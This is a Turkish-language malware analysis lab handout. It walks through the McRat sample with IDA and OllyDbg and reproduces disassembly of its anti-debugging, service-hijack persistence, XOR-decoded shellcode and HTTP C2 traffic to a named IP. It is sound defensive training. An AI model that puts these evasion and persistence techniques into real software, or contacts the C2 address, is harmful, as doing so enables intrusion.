Yorumlar ve ek bilgi sekmelerinde diğer Virustotal kullanıcılarının zararlı hakkında paylaşmış
olabileceği bilgilere ve zararlının nasıl etiketlendiğine (ftp, irc, zbot) bakılarak yararlı bilgiler
edinilebilir.
McRat Analizi
Amaç: Olası bir zararlı analiz sürecinde statik ve dinamik analiz yöntemlerinin nasıl
kullanılabileceğini göstermek.
Senaryo: McRat zararlı yazılımını disassembler ve debugger kullanarak analiz edip, sisteme
nasıl yerleştiğini, hangi değişiklikleri yaptığını, hangi anti-debugging tekniklerini kullandığını
analiz etmek.
Kullanılan Araçlar:
● PEID v0.95
● IDA 6.1
● OllyDbg v2.01 (v1.1 veya Immunity Debugger da kullanılabilir.)
● Strings v2.52 (SysInternals)
● Analiz edilen örneğin md5 özeti: 4d519bf53a8217adc4c15d15f0815993
1. Adım
Örnek zararlıyı test için hazırlanmış bir windows platforma aktardıktan sonra(winxp sp3 x86
kullanılmıştır) ilk olarak PEID ile zararlının bir sıkıştırma veya paketleme işlemine tabi tutulup
tutulmadığı kontrol edilir.
PEID zararlının yazıldığı dil ve hatta kullandığı derleyici hakkında tahminde bulunuyor.
Herhangi bir packer, protecter yazılımı kullanılmış olsaydı PEID, imzasını tanırsa packerın
adını yoksa “unknown” gibi bir uyarı çıkarıyor olurdu. Alternatif olarak RGB Packer Detector
aracı da aynı amaçla kullanılabilir.
Edinilen bilgiler ışığında herhangi bir unpacking işlemine gerek kalmadan(şimdilik) zararlının
statik analizine başlanabilir. SysInternals’ın Strings aracı kullanılarak zararlının okunabilir
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
durumdaki stringleri listelenir. Komut satırından “strings mcrat.exe | more” komutu ile işlem
gerçekleştirilebilir. Listelenen stringler zararlı hakkında oldukça fazla fikir verebileceği gibi
yanıltıcı da olabilir bu yüzden doğrulanması gerekir. Göze çarpan bazı ilginç stringler şöyledir.
ServiceDll
SYSTEMCurrentControlSetServices%sParameters
svchost.exe -k netsvcs
Brower
MyStubPath
Parameters
SYSTEMCurrentControlSetServices%s
SOFTWAREMicrosoftWindows NTCurrentVersionSvchost
%%SystemRoot%%System32svchost.exe -k "%s"
…..
RTHDVCPL
RTHDVCPL.DLL
%USERPROFILE%
SOFTWAREMicrosoftWindowsCurrentVersionRun
rundll32.exe "%s", Launch
Sadece stringlere bakılarak zararlının kendisini sistemde kalıcı kılmak için
“SOFTWAREMicrosoftWindowsCurrentVersionRun” kayıt defteri anahtarını kullandığı
veya kendisini servis olarak eklediği tahminleri yapılabilir. Ayrıca “!This program cannot be
run in DOS mode.” stringinin iki kere geçmesi zararlının içinde başka bir çalıştırılabilir dosya
barındırıyor olması ihtimalini de akıllara getirir.
2. Adım
Zararlı IDA ile açılır. İlk olarak Imports sekmesine göz atılması zararlının kullanmış olabileceği
fonkisyonlar hakkında fikir verebilir. Alternatif olarak Dependency Walker uygulaması da bu
amaçla kullanılabilir. Imports sekmesine bakıldığında dosya işlemleri, kayıt defteri işlemleri,
servis işlemleri, süreç işlemleri ve hatta sistemde komut çalıştırmayı sağlayacak birçok
fonksiyonun içe aktarıldığı görülmektedir. İlginç olan nokta fonksiyonlar arasında ağ aktivitesi
sağlayacak bir fonksiyon bulunmamasıdır. WinAPI fonksiyonlarının işlevleri ve detayları
msdn.microsoft.com adresinden öğrenilebilir.
Functions penceresinden start(main) fonksiyonu seçilerek analize başlanır. IDA graph
görünümüne bakıldığında beklenmeyen bir şekilde main fonksiyonunun kayda değer hiçbir
şey yapmadan koşulsuz bir dallanmayla programın çalışmasını sonlandırdığı görülmektedir.
Assembly kodlarına bakıldığında dallanmadan hemen önce “int3” komutuyla bir
istisna(exception) fırlatıldığı görülür.
.text:00401DB6 mov [ebp+var_4], 0
.text:00401DBD int 3 ; Trap to Debugger
.text:00401DBE jmp short loc_401DCE
Bu istisna zararlı tarafından 0x00401DC6 adresindeki handler tarafından yakalanır. Handlerın
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
tek işlevi de zararlının esas main fonksiyonu denilebilecek sub_4018F0(IDA’nın 0x4018F0
adresindeki fonksiyona verdiği isim) fonksiyonunu çağırmak olduğu görülür. Zararlının
buradaki esas amacı muhtemelen debuggerları şaşırtmaktır.
sub_4018F0 incelendiğinde ilk olarak IsUserAdmin winapi fonksiyonunu çağırıp zararlıyı
çalıştıran kullanıcının yönetici yetkilerine sahip olup olmadığını kontrol ettiği görülür. İlgili
kod incelendiğinde
.text:00401905 push edi
.text:00401906 call esi ; IsUserAnAdmin fonksiyonu çağır
.text:00401908 test eax, eax sonuç 0 ise zero flagı set edilir
.text:0040190A jz loc_401C39 zero flagı 1’se dallan
.text:00401910 call sub_4018A0
.text:00401915 test eax, eax
.text:00401917 jnz loc_401C39
yönetici grubundan bir kullanıcıysa sub_4018A0 fonksiyonundan çalışmaya devam edeceği
görülür. Bu fonksiyon analiz edildiğinde işlevinin IsWow64Process winapi fonksiyonunu
kullanarak sürecin WOW64 altında çalıştığını sorguladığı görülür. WOW64 32 bit windows
uygulamalarının 64 bit sistemlerde sorunsuz çalışmasını sağlayan bir çeşit emulatördür
denebilir. (http://msdn.microsoft.com/en-
us/library/windows/desktop/aa384249%28v=vs.85%29.aspx) Dolayısıyla zararlı çalıştığı
sistemin mimarisini(32 bit mi 64 bit mi) öğrenmiş olur. sub_4018A0 fonksiyonun C++ koduna
http://msdn.microsoft.com/en-us/library/windows/desktop/ms684139%28v=vs.85%29.aspx
adresinden ulaşılabilir, dolayısıyla detaylı assembly analizi eklenmemiştir. (Zararlı
yazılımlarda msdn gibi kaynaklardaki kodların neredeyse birebir kullanıldığını görmek
doğaldır.)
Zararlının 32bit sistemde çalıştığını varsayarak analize devam edildiğinde tekrar kullanıcının
yönetici olup olmadığını kontrol edip(ilginç) eğer yönetici ise şu kod bloğundan çalışmaya
devam ediyor.
.text:00401927 xor esi, esi
.text:00401929 mov ecx, 7Fh
.text:0040192E xor eax, eax
.text:00401930 lea edi, [ebp+var_25A]
.text:00401936 mov [ebp+ValueName], si
.text:0040193D mov [ebp+Data], si
.text:00401944 rep stosd
.text:00401946 stosw
Buraya kadar olan satırlar ebp + 25A dan itibaren 128 byte sıfırlar.
.text:00401948 mov ecx, 1FFh
.text:0040194D xor eax, eax
.text:0040194F lea edi, [ebp+var_107A]
.text:00401955 rep stosd
.text:00401957 stosw
Buraya kadar olan satırlar ebp + 107A dan itibaren 512 byte sıfırlar.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
.text:00401959 lea eax, [ebp+ValueName]
.text:0040195F push eax ; lpString1
.text:00401960 call sub_401160
Üstteki 3 satır ise 128’lik bufferı parametre olarak vererek 0x401160 daki fonksiyonu
çağırır.
.text:00401965 add esp, 4
.text:00401968 test eax, eax
.text:0040196A jz loc_401ACE
sub_401160 fonksiyonu OpenSCManager ve EnumServicesStatus winapi fonksiyonlarını
kullanarak sistemdeki servislerin listesini alıyor. Daha sonra bu listede “Brower” isimli servisi
arıyor.
.text:00401210 mov edx, [esi]
.text:00401212 push offset String2 ; "Brower"
.text:00401217 push edx ; lpString1
.text:00401218 call ds:lstrcmpiW
.text:0040121E test eax, eax
Bu servisin bulamadığı durumda zararlı, QueryServiceConfig winapi fonksiyonunu kullanarak
servis ayarlarında “svchost.exe -k netsvcs” geçen bir servis arıyor.
.text:004012B6 call edi ; QueryServiceConfigW
.text:004012B8 mov edx, [ebx+0Ch]
.text:004012BB push offset aSvchost_exeKNe ; "svchost.exe -k netsvcs"
.text:004012C0 push edx
.text:004012C1 call ds:StrStrW
Böyle bir servis bulduğunda ise “HKLMSYSTEMCurrentControlSetServices%sParameters”
kayıt defteri anahtarını açıp( %s yerine servis adını gelecek şekilde) ServiceDLL değerini
sorguluyor.
.text:00401363 push edx ; lpData
.text:00401364 push edi ; lpType
.text:00401365 push edi ; lpReserved
.text:00401366 push offset ValueName ; "ServiceDll"
.text:0040136B push eax ; hKey
.text:0040136C call ds:RegQueryValueExW
.text:00401372 test eax, eax
Zararlının amacının kendisini yetkili bir başka servisin altına gizlemek veya yerine geçmek
olduğu tahmininde bulunabilir. (svchost.exe -k netsvc nin anlamı için
http://www.softwaretipsandtricks.com/necessary_files/105-SVCHOSTEXE%20-
K%20NETSVCS.html)
Devamında ise bu ServiceDLL değerini değiştirdiği, service konfigürasyonunu değiştirdiği ve
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
hatta yeni konfigürasyonda servise SeTcbPrivilege yetkisi verdiği görülüyor. Bu servisin
işletim sisteminin bir parçası olarak görüleceği anlamına gelir. Bir başka değişle bir windows
sistemdeki en üst yetki olarak da tanımlanabilir. (http://technet.microsoft.com/en-
us/library/bb457125.aspx)
Bu aşamadan sonra zarlının hangi servisi seçtiği, ne gibi değişiklikler yaptığı ve devamında
nasıl bir yol izlediğini dinamik yöntemlerle analiz etmek daha verimli olacaktır.
3. Adım
McRat Ollydbg ile açılır. Statik analizde görülen anti-debugging hilesini atlatmak için int3
kesmesini çalıştırmadan 0x00401DC6 adresindeki exception handlerın ilk satırına sağ tık ->
new origin here denilerek EIP’in değeri değiştirilir.
CPU Disasm
Address Hex dump Command Comments
00401DBD |. CC INT3
00401DBE . EB 0E JMP SHORT 00401DCE
00401DC0 /. B8 01000000 MOV EAX,1
00401DC5 . C3 RETN
00401DC6 /. 8B65 E8 MOV ESP,DWORD PTR SS:[EBP-18]
00401DC9 |. E8 22FBFFFF CALL 004018F0
Diğer bir seçenek de OllyDbg’ın “options” menüsünden “debugging->exceptions”
bölümünden “INT3 breaks” kutusunu işaretlemektir. Bu sayede ollydbg int3 ile fırlatılan
istisnayı görmezden gelip programın handle etmesini sağlayacaktır. İkinci seçenek programın
defalarca çalıştırılması gerektiği durumlarda daha verimli olabilir.
Ardından CTRL+G kısa yoluyla açılan ekrana analiz edilmek istenen fonksiyonun başlangıcı
olan 0x401160 adresi yazılıp bu adrese ulaşılır ve F2 ile bir duraknoktası konulur. Program F9
ile çalıştırıldığında bu adreste duracaktır. Test ortamında bu fonksiyon adım adım çalıştırılıp
analiz edildiğinde ikinci adımda konuşulan Brower servisi bulunamıyor. Aradığı “svchost.exe -
k netsvcs” çalıştırılan servislerden de ilk eşleşen “AppMgmt” servisini seçiyor. AppMgmt için
kayıt defterinden ServiceDll değerini sorguladığında
"%SystemRoot%System32appmgmts.dll" yolunu buluyor. Bu yolu
“HKLMSYSTEMCurrentControlSet001ServicesAppMgmtParameters” anahtarı altındaki
ServiceDll değerine yazıyor ve servise statik analizde bahsedilen “System” yetkisini veriyor.
Adım adım analize devam ederken 0X40145F adresindeki call çalıştırıldığında tekrar bir
istisna fırlatıldığı görülür. İstisnanın kodu da ekranın sol altından görülebilir. Call
incelendiğinde yine bir anti-debugging tekniği olduğu görülecektir. Detaylara girmeden bu
istisnayı da görmezden gelmek için “options” penceresinden “debugging->exceptions”
bölümünden Add Current butonu ile o anki istisna görmezden gelinecekler listesine eklenir.
0X40145F adresine duraknoktası konulup Ctrl+F2 ile zararlı Ollydbg’a tekrar yüklenir ve F9 ile
duraknoktasına kadar gelinir.
Analize devam edip bu fonksiyondan çıkıldıktan hemen sonra
“%%USERPROFILE%%AppMgmt.dll” stringi oluşturuluyor.
CPU Disasm
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Address Hex dump Command Comments
0040198C |. 8D95 84F7FFFF LEA EDX,[LOCAL.543]
00401992 |. 51 PUSH ECX ; /<%s> => OFFSET LOCAL.151
00401993 |. 68 28344000 PUSH OFFSET 00403428 ; |Format =
"%%USERPROFILE%%%s.dll"
00401998 |. 52 PUSH EDX ; |Buf => OFFSET LOCAL.543
00401999 |. 66:AB STOS WORD PTR ES:[EDI] ; |
0040199B |. FF15 DC204000 CALL DWORD PTR DS:[<&USER32.wsprintfW>] ;
USER32.wsprintfW
ExpandEnvironmentStrings winapi fonksiyonu ile userprofile’ın adresi alınıp 0x004010C0
adresindeki fonksiyon aşağıdaki parametrelerle çağırılıyor.
CPU Disasm
Address Hex dump Command Comments
004019C4 |. 52 PUSH EDX ; |Arg4 = UNICODE
"C:Documents and Settingsmw2AppMgmt.dll"
004019C5 |. 68 20344000 PUSH OFFSET 00403420 ; |Arg3 = UNICODE
"BIN"
004019CA |. 6A 65 PUSH 65 ; |Arg2 = 65
004019CC |. 56 PUSH ESI ; |Arg1
004019CD |. E8 EEF6FFFF CALL 004010C0 ;
4d519bf53a8217adc4c15d15f081599.004010C0
F7 ile fonksiyonun içine girildiğinde sırasıyla şu işlemleri yaptığı görülmektedir.
● FindResource ve LoadResource fonksiyonları ile zararlının resource olarak taşıdığı BIN
tipinde bir veriye erişiliyor.
● CreateFile ile "C:Documents and Settingsmw2AppMgmt.dll" dosyası oluşturuluyor.
(bilgisayar adı farklılık gösterecektir.)
● Elde edilen veri AppMgmt.dll dosyasına yazılıyor.
● “HKLMSYSTEMCurrentControlSet001ServicesAppMgmtParameters” anahtarı
altındaki ServiceDll değerine "C:Documents and Settingsmw2AppMgmt.dll" yolu
yazılıyor.
● Aynı şekilde MyStubPath değerine de çalıştırılan mcrat.exe’nin yolu yazılıyor.
Bu işlemlerden sonra da program sonlanıyor. Buraya kadar zararlının kendisini nasıl sistem
servisi olarak eklediği daha doğrusu başka bir servisin yerine geçtiği detaylıca ele alınmıştır.
Analize zararlının servis olarak çalışacak bölümü yani AppMgmt.dll dosyası üzerinden devam
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
ederek zararlının aktiviteleri açığa çıkarılabilir.
4. Adım:
Zararlının oluşturduğu AppMgmt.dll dosyası IDA ile açılır. DllEntryPoint (dll dosyaları için
main fonksiyonu) fonksiyonundan analize başlamak doğru gözükse de aslında bu dll sisteme
bir servis olarak eklendiğinden ilk çalışacak fonksiyonu ServiceMain’dir. IDA’nın Exports
sekmesinden veya Functions penceresinden ServiceMain seçilerek analize başlanır.
Servis başlangıç işlemlerinden sonra ilk olarak “MyStubPath” stringini parametre alan bir
fonksiyon(sub_10001748) çağırmaktadır.
.text:10001906 push offset aMystubpath ; "MyStubPath"
.text:1000190B push esi ; hKey
.text:1000190C call sub_1000174
Fonksiyon incelendiğinde stub tarafından kayıt defterinde
“HKLMSYSTEMCurrentControlSet001ServicesAppMgmtParameters” anahtarı altına
girilen MyStubPath değerinden stub’ın dosya sisitemindeki yerini buluyor.
.text:100017B4 push 3E8h ; dwMilliseconds
.text:100017B9 call ds:Sleep
.text:100017BF lea eax, [ebp+FileName]
.text:100017C5 push eax ; lpFileName
.text:100017C6 call ds:DeleteFileW
.text:100017CC test eax, eax
1000 ms bekledikten sonra dosyayı(stub’ı) siliyor. Eğer dosya silme işlemi başarılıysa
MyStubPath anahtarını da siliyor.
text:100017D6 loc_100017D6: ; CODE XREF: sub_10001748+86j
.text:100017D6 push [ebp+lpValueName] ; lpValueName
.text:100017D9 push [ebp+hKey] ; hKey
.text:100017DC call ds:RegDeleteValueW
Temizlik işleminden sonra GetVersionEx winapi fonksiyonu ile işletim sistemi versiyonunu
alıp versiyon 6’dan büyükse Launch fonksiyonunu çağıran kod bloğuna dallanıyor.
.text:10001954 push eax ; lpVersionInformation
.text:10001955 call ds:GetVersionExW
.text:1000195B cmp [ebp+VersionInformation.dwMajorVersion], 6
.text:10001962 jb loc_10001A8F
Versiyon 6 dan büyük olması sistemin en az Windows 7 veya Server 2008 R2 olması anlamına
gelir(http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions). Daha eski
sistemlerde ise “rundll32.exe "%s", Launch”(%s yerine GetModuleFileName ile alınan isim
gelecek şekilde) komutu ile zararlı dllin export ettiği Launch fonksiyonunu çalıştıracak string
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
hazırlanıyor.
text:100019A7 lea eax, [ebp+FileName]
.text:100019AD push eax
.text:100019AE lea eax, [ebp+CommandLine]
.text:100019B4 push offset aRundll32_exeSL ; "rundll32.exe "%s", Launch"
.text:100019B9 push eax ; LPWSTR
.text:100019BA call edi ; wsprintfW
.text:100019BC add esp, 18h
Daha sonra da işlemin tamamlanmasını beklenip sonlanıyor. İki durumda da analiz Launch
fonksiyonuna yönleniyor. Launch fonksiyonu incelendiğinde doğrudan sub_100012EB
fonksiyonunu çağırdığı görülür. Bu fonksiyonun da ilk iş olarak “McpProXy.exe” string
parametresi ile sub_1000120E fonksiyonunu çağırdığı görülmektedir.
.text:100012FE push eax ; lpFilename
.text:100012FF push offset String2 ; "McpRoXy.exe"
.text:10001304 mov [ebp+var_C], esi
.text:10001307 mov [ebp+var_4], esi
.text:1000130A call sub_1000120E
.text:1000130F pop ecx
Son çağırılan sub_1000120E fonksiyonu da “SeDebugPrivilege” stringini parametre olarak
vererek sub_10001053 fonksiyonunu çağırıyor.
.text:10001232 push 1 ; int
.text:10001234 push offset Name ; "SeDebugPrivilege"
.text:10001239 rep stosd
.text:1000123B call sub_10001053
.text:10001240 pop ecx
Bu fonksiyon oldukça basit bir yapıya sahip. İncelendiğinde sürece
SE_DEBUG_NAME(SeDebugPrivilege) yetkisi verdiği görülür. Bu işlem sürece diğer süreçleri
debug etme ve bellek alanlarına müdahale etme hakkı verir. (http://msdn.microsoft.com/en-
us/library/windows/desktop/bb530716%28v=vs.85%29.aspx)
.text:10001241 pop ecx
.text:10001242 push 0 ; th32ProcessID
.text:10001244 push 2 ; dwFlags
.text:10001246 call CreateToolhelp32Snapshot
.text:1000124B cmp eax, 0FFFFFFFFh
Hemen ardından CreateToolhelp32Snapshot fonksiyonunun dwFlags parametresine
2(TH32CS_SNAPPROCESS) değeri verilerek çağırılıyor. Yani sistemde çalışan tüm süreçlerin
listesi alınıyor. Daha sonra Process32First ve Process32Next winapi fonksiyonları kullanılarak
süreç listesinde gezinip ismi daha önce bu fonksiyona parametre olarak geçirilen
“McpRoXy.exe” olan süreç aranıyor.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
.text:10001257 lea ecx, [ebp+pe]
.text:1000125D push esi
.text:1000125E push ecx ; lppe
.text:1000125F push eax ; hSnapshot
.text:10001260 call Process32FirstW
.text:10001265 mov edi, ds:CloseHandle
.text:1000126B test eax, eax
.text:1000126D jz short loc_100012DF
.text:1000126F push [ebp+lpString2] ; lpString2
.text:10001272 mov esi, ds:lstrcmpiW
.text:10001278 lea eax, [ebp+pe.szExeFile]
.text:1000127E push eax ; lpString1
.text:1000127F
.text:1000127F loc_1000127F: ; CODE XREF: sub_1000120E+94j
.text:1000127F call esi ; lstrcmpiW
.text:10001281 test eax, eax
.text:10001283 jz short loc_100012A4
.text:10001285 lea eax, [ebp+pe]
.text:1000128B push eax ; lppe
.text:1000128C push [ebp+hObject] ; hSnapshot
.text:1000128F call Process32NextW
.text:10001294 test eax, eax
.text:10001296 jz short loc_100012DF
.text:10001298 push [ebp+lpString2]
.text:1000129B lea eax, [ebp+pe.szExeFile]
.text:100012A1 push eax
.text:100012A2 jmp short loc_1000127F
Eğer bu süreç bulunup OpenProcess ile bu sürece bir handle elde edilebilirse IDA’nın
ebp+var_4 olarak tanımladığı 4. local değişken anlamındaki değeri 1 olarak atıyor.
.text:100012D5 mov [ebp+var_4], 1
Fonksiyon sonlanırken de geriye bu değişkenin değerini döndürüyor. Kısacası sub_1000120E
fonksiyonu, ismi parametre olarak geçirilen sürecin sistemde çalışıp çalışmadığını kontrol
ediyor. Burada bu bir cümle yerine detaylı anlatılışının sebebi, birçok zararlı tarafından
kullanılan benzer kodların assembly seviyesinde nasıl okunup yorumlanabileceğini
göstermektir. Alt fonksiyonlar ve genel yapı hakkında bilgi sahibi olduktan zararlının çalışma
anında nasıl bir yol izlediği analiz edilerek daha çok bilgi toplanabilir.
5. Adım
AppMgmt.dll OllyDbg ile açılır. Alt+F6 kısayolu ile “Call Dll Export” penceresi açılıp Export
bölümünden Launch(4. adımdaki bilgilere dayanarak) fonksiyonu seçilir. “Follow in CPU”
butonu ile Launch fonksiyonunun başlangıcına gidildikten sonra “sağ tuş-> new origin here”
ile EIP fonksiyonun başına set edilip debug işlemine başlanabilir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
CPU Disasm
Address Hex dump Command Comments
1000161D /$ 51 PUSH ECX
1000161E |. 8D4424 00 LEA EAX,[LOCAL.0]
10001622 |. 50 PUSH EAX ; /Arg1 => OFFSET LOCAL.0
10001623 |. E8 C3FCFFFF CALL 100012EB ; AppMgmt.100012EB
10001628 |. 85C0 TEST EAX,EAX
0x100012EB adresindeki ilk çağırılan fonksiyon analiz edildiğinde 4. adımda incelenen
McpRoXy.exe sürecini arayan fonksiyon’un 0 döndürdüğü, yani sistemde bu sürecin
bulunmadığı görülür, bu yüzden JNZ dallanmaz ve 0x1000142A adresindeki fonksiyon
çağırılır.
CPU Disasm
Address Hex dump Command Comments
1000162A |. 59 POP ECX
1000162B |. 75 05 JNZ SHORT 10001632
1000162D |. E8 F8FDFFFF CALL 1000142A
10001632 |> 68 E8030000 /PUSH 3E8 ; /Time = 1000. ms
Bu fonksiyon da ilk iş olarak 0x10003000 adresindeki 30904 bytelık veriyi 0x75 ile xor
işleminden geçirip stack’e yazıyor.
CPU Disasm
Address Hex dump Command Comments
1000143E |. BE B8780000 MOV ESI,78B8
10001443 |> 8A88 00300010 /MOV CL,BYTE PTR DS:[EAX+10003000]
10001449 |. 80F1 75 |XOR CL,75
1000144C |. 888C05 E013FF |MOV BYTE PTR SS:[EAX+EBP+FFFF13E0],CL
10001453 |. 40 |INC EAX
10001454 |. 3BC6 |CMP EAX,ESI
10001456 |.^ 7C EB JL SHORT 10001443
Çalışmaya heap’te 30904 bytelık yer ayırarak devam ediyor ayırdığı bu alana VirtualProtect
fonksiyonu ile PAGE_EXECUTE_READ_WRITE yetkisi veriyor. Daha sonra da bu alandaki kodu
çalıtırmak için CreateThread winapi fonksiyonunu kullanıyor.
CPU Disasm
Address Hex dump Command Comments
100014A8 |. 8D45 F8 LEA EAX,[LOCAL.2]
100014AB |. 50 PUSH EAX ; /pThreadId => OFFSET LOCAL.2
100014AC |. 53 PUSH EBX ; |CreationFlags
100014AD |. 53 PUSH EBX ; |Parameter
100014AE |. FF75 FC PUSH DWORD PTR SS:[LOCAL.1] ;
|StartAddress => [LOCAL.1]
100014B1 |. 53 PUSH EBX ; |StackSize
100014B2 |. 53 PUSH EBX ; |pSecurity
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
100014B3 |. FF15 68200010 CALL DWORD PTR DS:[<&KERNEL32.CreateThread>] ;
KERNEL32.CreateThread
CreateThread’e parametre olarak geçirilen başlangıç adresinden analize devam edildiğinde
(“new origin here” özelliği veya “on execution” olayına bir donanımsal
duraknoktası(hardware bp) koymak bu durumda işe yarayacaktır.) İlk olarak kendi kendini
xorla çözen bir kod bloğu görülüyor. Test ortamında yeni threadin adresi 0x00146120 olarak
bulunmuştur ama dinamik olarak verildiği için farklılık gösterecektir.
CPU Disasm
Address Hex dump Command Comments
0014612F 8030 6C XOR BYTE PTR DS:[EAX],6C
00146132 40 INC EAX
00146133 41 INC ECX
00146134 81F9 9C780000 CMP ECX,789C
0014613A ^ 75 F3 JNE SHORT 0014612F
Zararlı 30876 byte xorladıktan sonra çalışamaya 0x0014634B adresindeki fonksiyondan
devam ediyor. Bu fonksiyon VirtualAlloc winapi fonksiyonun adresini hesaplayıp çağırarak
4096 byte(4KB) yer ayırıyor ve hemen devamındaki fonksiyon da bu alana bir takım kodlar
yazıyor. Olayın akışını izlemek için şu yol izlenebilir.
VirtualAlloc’u çağıran kod bloğu(EAX ta onun adres olduğu için)
CPU Disasm
Address Hex dump Command Comments
001463A4 6A 40 PUSH 40
001463A6 68 00100000 PUSH 1000
001463AB FF77 04 PUSH DWORD PTR DS:[EDI+4]
001463AE 6A 00 PUSH 0
001463B0 FFD0 CALL EAX
“call eax” çalıştırıldıktan hemen sonra fonksiyon başarıyla çalışmışsa, EAX’ta yeni ayrılan
alanın adresini içerecektir. Register bölümünden EAX’ın üzerine “sağ tuş-> follow in dump”
ile hafızanın o bölümü dump ekranında görülebilir.
CPU Disasm
Address Hex dump Command Comments
001463B7 57 PUSH EDI
001463B8 E8 84FDFFFF CALL 00146141
001463BD 58 POP EAX
001463BE FFE0 JMP EAX
0x00146141’daki fonksiyon çağırıldıktan sonra da aynı ekranda boş olan alana kodların
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
yazıldığı ve daha sonra o adrese jmp ile dallanıldığı görülür. Analize buradaki 0x008B0015
(değişkendir) fonksiyonundan devam edildiğinde içinde ws2_32 ve wininet’i de barındıran 9
adet sistemkütüphanesini(dll) yükleyen bir fonksiyonla karşılaşılmıştır.
CPU Disasm
Address Hex dump Command Comments
009BD003 55 PUSH EBP
009BD004 8BEC MOV EBP,ESP
009BD006 E8 4793FFFF CALL 009B6352
009BD00B 85C0 TEST EAX,EAX
009BD00D 75 05 JNE SHORT 009BD014
Fonksiyonda belirtilen yerlere duraknoktası koyup döngünün her adımında hangi
kütüphanenin yüklendiği görülebilir.
CPU Disasm
Address Hex dump Command Comments
009B6386 /0F83 D8000000 JAE 009B6464
009B638C |837D FC 00 CMP DWORD PTR SS:[EBP-4],0
009B6390 |74 4A JE SHORT 009B63DC
009B6392 |8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
009B6395 |C1E1 04 SHL ECX,4
009B6398 |8B91 20189B00 MOV EDX,DWORD PTR DS:[ECX+9B1820]
Devamında LoadLibrary winapi fonksiyonu ile çalışma anında yüklenen kütüphaneleri
kullanarak çalışma zararlı işlevlerini sürdürmektedir. Bu da zararlının işlevlerini gizlemek için
kullandığı yöntemlerden birisidir.
Zararlı bu aşamadan sonra CreateThread fonksiyonunu kullanarak 4 thread daha oluşturuyor
ama bunlardan bazıları aynı fonksiyonu göstermektedir. Zararlının doğrudan hafızaya decode
ettiği(xor veya substraction gibi yöntemlerle) kod bloklarının tek tek analizi şu ana kadarki
yöntemlerle yapılabileceğinden dolayı bunların detaylı analizine yer verilmemiştir, ipucu
olabilecek
genel veriler şu şekildedir.
Test ortamında adı “C:DOCUME~1mw2LOCALS~1Temp{2D93B73E-36B9-40C4-9FD8-
93C067157A8F}” olan dosyayı okumak için açıyor. (CreateFile fonksiyonunun farklı
kullanımları için: http://msdn.microsoft.com/en-
us/library/windows/desktop/aa363858%28v=vs.85%29.aspx) Daha sonra ReadFile ile
içeriğini okuyup okunan veri 948 byte değilse fonksiyon sonlanıyor.
Bu dosyanın içine 110.173.55.187 adresi yazılıyor ve daha sonra bu adresin 80 portuna
gönderilen HTTP POST istekleri aracılığıyla iletişimkuruluyor. Bu bölüm
CPU Disasm
Address Hex dump Command Comments
0014634B 5F POP EDI
0014634C 64:A1 30000000 MOV EAX,DWORD PTR FS:[30]
00146352 8B40 0C MOV EAX,DWORD PTR DS:[EAX+0C]
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
00146355 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C]
00146358 AD LODS DWORD PTR DS:[ESI]
00146359 8B68 08 MOV EBP,DWORD PTR DS:[EAX+8]
ile başlayıp
CPU Disasm
Address Hex dump Command Comments
001463B4 83C7 08 ADD EDI,8
001463B7 57 PUSH EDI
001463B8 E8 84FDFFFF CALL 00146141
001463BD 58 POP EAX
001463BE FFE0 JMP EAX
ile biten 2. decode bölümünde hafızaya yazılıyor.
Analize başlamadan önce strings, imports gibi çıktılara bakılarak veya Procmon, Process
Explorer gibi araçlarla yapılan iyi tahminler çoğu zaman analiz sırasında doğru yolda
ilerlemeyi kolaylaştırır fakat sağlıklı bir analiz sadece tahminlerden ibaret olmamalıdır.
Uygulama No: BGA-MA-?
Uygulama Adı: Zararlı Tarafından Üretilen Trafiğin Sahte Servislerle
Yönetimi
Amaç: Lab ortamında analiz edilen zararlı yazılımın çalışması için ihtiyaç duyduğu sahte
servisleri sağlayarak zararlıyı bu servislere yönlendirmek, böylece zararlının normalde
üreteceği ağ trafiğini üretmesini ve program akışının sadece başarılı bağlantı kurulduğunda
erişeceği noktalara erişmesini sağlamak.
Lab senaryosu: Aynı sanal ağdaki iki sanal makineden Windows XP olanında uzak FTP
sunucusuna bağlantı kurmak isteyen bir zararlı yazılım çalıştırılır. REMnux kurulu olanı ise
sahte servis oluşturma ve ağ trafiğini dinleme araçlarını çalıştırmak için kullanılır.
Kullanılan Araçlar:
● FTP Kullanan Zararlı Örneği
(sha256:d7ac4d6442a3448fb147fd70b5e98f8e244b5e129f8bbd5f085b04cf01158c03
)
● ApateDNS
